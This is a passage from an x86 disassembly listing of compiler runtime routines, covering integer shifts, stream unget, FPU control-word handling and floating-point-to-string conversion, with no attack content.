		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2830000h
		nop
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
